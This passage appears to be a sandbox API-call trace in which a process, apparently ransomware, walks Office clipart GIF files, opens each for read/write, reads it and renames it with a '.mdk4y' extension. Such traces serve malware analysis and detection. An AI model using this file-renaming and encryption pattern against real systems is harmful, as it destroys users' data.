lpMultiByteStr="WB01741L.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0175.920] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB01741L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb01741l.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0175.920] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825115000000) returned 1 [0175.920] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xe1d, lpOverlapped=0x0) returned 1 [0175.922] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825115200000) returned 1 [0175.922] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825115200000) returned 1 [0175.922] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB01741L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb01741l.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB01741L.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb01741l.gif.mdk4y")) returned 1 [0175.923] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0175.923] AreFileApisANSI () returned 1 [0175.923] GetACP () returned 0x4e4 [0175.923] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WB02039_.GIF", cchWideChar=12, lpMultiByteStr=0x6ac39c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="WB02039_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0175.923] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02039_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02039_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0175.924] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825115600000) returned 1 [0175.926] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x38c, lpOverlapped=0x0) returned 1 [0175.931] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825116100000) returned 1 [0175.931] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825116100000) returned 1 [0175.931] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02039_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02039_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02039_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02039_.gif.mdk4y")) returned 1 [0175.932] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0175.932] AreFileApisANSI () returned 1 [0175.932] GetACP () returned 0x4e4 [0175.932] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WB02055_.GIF", cchWideChar=12, lpMultiByteStr=0x6ac39c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="WB02055_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0175.932] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02055_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02055_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0175.933] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825116300000) returned 1 [0175.934] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x987, lpOverlapped=0x0) returned 1 [0175.935] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825116500000) returned 1 [0175.935] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825116500000) returned 1 [0175.935] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02055_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02055_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02055_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02055_.gif.mdk4y")) returned 1 [0175.936] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0175.936] AreFileApisANSI () returned 1 [0175.936] GetACP () returned 0x4e4 [0175.936] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WB02073_.GIF", cchWideChar=12, lpMultiByteStr=0x6ac39c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="WB02073_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0175.936] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02073_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02073_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0175.936] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825116600000) returned 1 [0175.936] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x37d, lpOverlapped=0x0) returned 1 [0175.937] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825116700000) returned 1 [0175.937] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825116700000) returned 1 [0175.938] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02073_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02073_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02073_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02073_.gif.mdk4y")) returned 1 [0175.938] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0175.938] AreFileApisANSI () returned 1 [0175.938] GetACP () returned 0x4e4 [0175.938] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WB02074_.GIF", cchWideChar=12, lpMultiByteStr=0x6ac39c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="WB02074_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0175.938] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02074_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02074_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0175.939] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825116900000) returned 1 [0175.939] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x516, lpOverlapped=0x0) returned 1 [0175.940] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825117000000) returned 1 [0175.940] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825117000000) returned 1 [0175.940] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02074_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02074_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02074_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02074_.gif.mdk4y")) returned 1 [0175.941] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0175.941] AreFileApisANSI () returned 1 [0175.941] GetACP () returned 0x4e4 [0175.941] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WB02077_.GIF", cchWideChar=12, lpMultiByteStr=0x6ac39c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="WB02077_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0175.941] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02077_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02077_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0175.941] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825117100000) returned 1 [0175.941] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x2fd, lpOverlapped=0x0) returned 1 [0175.943] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825117300000) returned 1 [0175.943] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825117300000) returned 1 [0175.943] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02077_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02077_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02077_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02077_.gif.mdk4y")) returned 1 [0175.944] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0175.944] AreFileApisANSI () returned 1 [0175.944] GetACP () returned 0x4e4 [0175.944] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WB02082_.GIF", cchWideChar=12, lpMultiByteStr=0x6ac39c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="WB02082_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0175.944] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02082_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02082_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0175.944] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825117400000) returned 1 [0175.944] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x996, lpOverlapped=0x0) returned 1 [0175.953] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825118300000) returned 1 [0175.953] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825118300000) returned 1 [0175.954] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02082_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02082_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02082_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02082_.gif.mdk4y")) returned 1 [0175.954] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0175.954] AreFileApisANSI () returned 1 [0175.954] GetACP () returned 0x4e4 [0175.954] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WB02085_.GIF", cchWideChar=12, lpMultiByteStr=0x6ac39c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="WB02085_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0175.955] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02085_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02085_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0175.955] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825118500000) returned 1 [0175.955] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x90c, lpOverlapped=0x0) returned 1 [0175.963] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825119300000) returned 1 [0175.963] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825119300000) returned 1 [0175.963] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02085_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02085_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02085_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02085_.gif.mdk4y")) returned 1 [0175.964] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0175.964] AreFileApisANSI () returned 1 [0175.964] GetACP () returned 0x4e4 [0175.964] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WB02097_.GIF", cchWideChar=12, lpMultiByteStr=0x6ac39c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="WB02097_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0175.964] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02097_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02097_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0175.965] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825119500000) returned 1 [0175.965] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x581, lpOverlapped=0x0) returned 1 [0175.966] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825119600000) returned 1 [0175.966] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825119600000) returned 1 [0175.967] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02097_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02097_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02097_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02097_.gif.mdk4y")) returned 1 [0175.967] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0175.967] AreFileApisANSI () returned 1 [0175.967] GetACP () returned 0x4e4 [0175.967] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WB02106_.GIF", cchWideChar=12, lpMultiByteStr=0x6ac39c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="WB02106_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0175.967] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02106_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02106_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0175.968] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825119800000) returned 1 [0175.968] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x15fa, lpOverlapped=0x0) returned 1 [0175.973] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825120300000) returned 1 [0175.973] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825120300000) returned 1 [0175.973] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02106_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02106_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02106_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02106_.gif.mdk4y")) returned 1 [0175.974] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0175.974] AreFileApisANSI () returned 1 [0175.974] GetACP () returned 0x4e4 [0175.974] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WB02116_.GIF", cchWideChar=12, lpMultiByteStr=0x6ac39c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="WB02116_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0175.974] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02116_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02116_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0175.975] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825120500000) returned 1 [0175.975] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x3ef, lpOverlapped=0x0) returned 1 [0175.976] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825120600000) returned 1 [0175.976] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825120600000) returned 1 [0175.976] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02116_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02116_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02116_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02116_.gif.mdk4y")) returned 1 [0175.977] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0175.977] AreFileApisANSI () returned 1 [0175.977] GetACP () returned 0x4e4 [0175.977] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WB02134_.GIF", cchWideChar=12, lpMultiByteStr=0x6ac39c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="WB02134_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0175.977] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02134_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02134_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0175.977] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825120700000) returned 1 [0175.977] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x97f, lpOverlapped=0x0) returned 1 [0175.979] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825120900000) returned 1 [0175.979] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825120900000) returned 1 [0175.979] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02134_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02134_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02134_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02134_.gif.mdk4y")) returned 1 [0175.980] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0175.980] AreFileApisANSI () returned 1 [0175.980] GetACP () returned 0x4e4 [0175.980] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WB02187_.GIF", cchWideChar=12, lpMultiByteStr=0x6ac39c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="WB02187_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0175.980] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02187_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02187_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0175.980] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825121000000) returned 1 [0175.980] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x579, lpOverlapped=0x0) returned 1 [0175.988] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825121800000) returned 1 [0175.988] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825121800000) returned 1 [0175.988] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02187_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02187_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02187_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02187_.gif.mdk4y")) returned 1 [0175.989] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0175.989] AreFileApisANSI () returned 1 [0175.989] GetACP () returned 0x4e4 [0175.989] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WB02198_.GIF", cchWideChar=12, lpMultiByteStr=0x6ac39c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="WB02198_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0175.989] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02198_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02198_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0175.990] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825122100000) returned 1 [0175.992] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x4abc, lpOverlapped=0x0) returned 1 [0175.999] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825122900000) returned 1 [0175.999] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825122900000) returned 1 [0175.999] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02198_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02198_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02198_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02198_.gif.mdk4y")) returned 1 [0176.000] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) 